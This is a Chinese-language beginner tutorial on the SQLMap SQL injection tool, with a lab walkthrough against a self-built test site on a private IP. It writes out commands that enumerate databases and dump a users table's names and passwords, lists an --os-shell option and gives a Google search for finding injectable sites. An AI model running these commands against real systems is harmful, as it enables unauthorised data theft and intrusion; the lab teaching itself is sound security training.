SQLMap簡介及簡單應用實例圖文詳解

1 SQLMap簡介
SQLMap 是一個自動化的SQL注入工具,其主要功能是掃描、發(fā)現(xiàn)并利用給定URL的SQL注入漏洞,內置了很多繞過插件,支持的數據庫是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用來檢測和利用sql注入點,并不能掃描出網站有哪些漏洞,使用前請先使用掃描工具掃出sql注入點。
SQLMap采用了以下5種獨特的SQL注入技術。
• 基于布爾類型的盲注,即可以根據返回頁面判斷條件真假的注入。
• 基于時間的盲注,即不能根據頁面返回的內容判斷任何信息,要用條件語句查看時間延遲語句是否己執(zhí)行(即頁面返回時間是否增加)來判斷。
• 基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回到頁面中。
• 聯(lián)合查詢注入,在可以使用Union 的情況下的注入。. 堆查詢注入,可以同時執(zhí)行多條語句時的注入。
SQLMap 的強大的功能包括數據庫指紋識別、數據庫枚舉、數據提取、訪問目標文件系統(tǒng),并在獲取完全的操作權限時實行任意命令。SQLMap的功能強大到讓人驚嘆,當常規(guī)的注入工具不能利用SQL注入漏洞進行注入時,使用SQLMap會有意想不到的效果。
2 SQLMap安裝
SQLMap的安裝方式可以自己上網查找,本教程是利用KaliLinux上自帶的SQLMap工具進行相關學習與實驗,無需自己配置python等基礎環(huán)境,較簡單易上手,如何在虛擬機中安裝KaliLinux系統(tǒng)請查看《【Linux系統(tǒng)】第2節(jié) 虛擬機中安裝Kali系統(tǒng)》。
3 sqlmap的簡單使用 3.1 常用命令及參數
查看sqlmap的命令字幫助手冊
-u "url" #檢測注入點 --dbs #列出所有數據庫的名稱 --current-db #列出當前數據庫的名稱 -D #指定一個數據庫 --table #列出所有表名 -T #指定表名 --columns #列出所有字段名 -C #指定字段 --dump #列出字段內容
post注入
-r xxx.txt #xxx.txt為http數據包
–cookie #指定cookie
–os-shell #獲取shell
sqlmap -g “inurl:php?id=” #利用google自動搜索注入點
3.2 具體操作實例 3.2.1 操作前準備
實驗靶場——虛擬機(IP為172.16.1.1):
本節(jié)實驗靶場是在win2008系統(tǒng)上基于phpstudy搭建的一個簡單網站,win2008及phpstudy的安裝過程可以參考《【語言環(huán)境】WAMP環(huán)境部署及優(yōu)化—以win2008R2SP1為操作系統(tǒng)》,網站的搭建過程可以參考《【(SQL+HTML+PHP)綜合】一個簡單論壇網站的綜合開發(fā)案例》
注入工具——kali虛擬機,自帶sqlmap工具
注意,win2008和kali橋接到同一VMnet下。兩者可以互相ping通。
3.2.2 具體實例 3.2.2.1 實例1:查看幫助手冊
sqlmap -h
3.2.2.2 實例2:檢測注入點及注入類型
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5"
當SQLMap執(zhí)行該命令時,它會執(zhí)行以下步驟:
1)判斷可注入的參數;2)判斷可以用哪種SQL注入技術來注入;3)識別出哪種數據庫;4)根據用戶選擇,讀取哪些數據。 3.2.2.3 實例3:列出所有數據庫的名字
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --dbs
3.2.2.4 實例4:列出當前數據庫的名字
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --current-db
3.2.2.5 實例5:列出某數據庫的所有表名
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' --tables
3.2.2.6 實例6:列出某表中的所有字段名
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' --columns
3.2.2.7 實例7:列出某字段中的所有字段內容
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' -C 'name,password' --dump
3.2.2.8 實例8:post注入
首先利用burpsuite抓到使用post請求方法的http請求數據包,將該包保存為post.txt文件(保存在當前目錄下)。輸入代碼:sqlmap -r post.txt
,會自動讀取http數據包來做個post注入的測試
在本專欄博客中,主要以入門知識為主,引領零基礎的伙伴了解一些工具的簡單操作,會分享sqlmap的簡單使用方法,比如:使用該軟件來判斷目標網站是否存在注入、查詢獲取數據庫的庫名表名字段名以及字段內容等信息.其他更詳細的用法可詳見sqlmap的幫助手冊,如-level、-referer、roles等。
4 參考文章及優(yōu)秀資源推薦
《sqlmap 詳解》
《 sqlmap 官網》
《sqlmap文檔地址》
相關文章
- 一個自動化的SQL注入工具,其主要功能是掃描、發(fā)現(xiàn)并利用給定URL的SQL注入漏洞,內置了很多繞過插件,支持的數據庫是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server2023-02-04
- Nmap是一款網絡掃描和主機檢測的非常有用的工具。Nmap是不局限于僅僅收集信息和枚舉,同時可以用來作為一個漏洞探測器或安全掃描器。它可以適用于winodws,linux,mac等操作2019-03-16
SQLMAP注入檢查方法 11種常見SQLMAP使用方法詳解
sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,很多人都是通過這個工具實施的檢測與注入,對于我們從事安全防御的人來說,一定要引起注意,一般的程序員寫的代2018-08-16- 這篇文章主要介紹了lcx用法之心得總結,需要的朋友可以參考下2017-09-06
lcx端口轉發(fā)詳細介紹及使用方法(lcx內網轉發(fā)姿勢)
這篇文章主要介紹了lcx端口轉發(fā)詳細介紹及使用方法(lcx內網轉發(fā)姿勢),需要的朋友可以參考下2017-09-06- 這是我們的Nmap備忘單的第四部分,本文中我們將討論更多東西關于掃描防火墻,IDS / IPS 逃逸,Web服務器滲透測試等。在此之前,我們應該了解一下防火墻的一些基礎知識以便2016-12-27
- 眾所周知NMAP是經常用來進行端口發(fā)現(xiàn)、端口識別。除此之外我們還可以通過NMAP的NSE腳本做很多事情,比如郵件指紋識別,檢索WHOIS記錄,使用UDP服務等2016-12-27
- 這是我們的第二期NMAP備忘單,基本上,我們將討論一些高級NMAP掃描的技術,我們將進行一個中間人攻擊(MITM)?,F(xiàn)在,游戲開始了2016-12-27
- nmap是一個網絡連接端掃描軟件,用來掃描網上電腦開放的網絡連接端。確定哪些服務運行在哪些連接端,并且推斷計算機運行哪個操作系統(tǒng)(這是亦稱 fingerprinting)。它是網2016-12-27
網絡漏洞掃描工具Acunetix Web Vulnerability Scanner(AWVS)使用介紹
Acunetix Web Vulnerability Scanner(簡稱AWVS)是一款知名的網絡漏洞掃描工具,它通過網絡爬蟲測試你的網站安全,檢測流行安全漏洞。倫敦時間2015年6月24日,官方發(fā)布了2016-09-28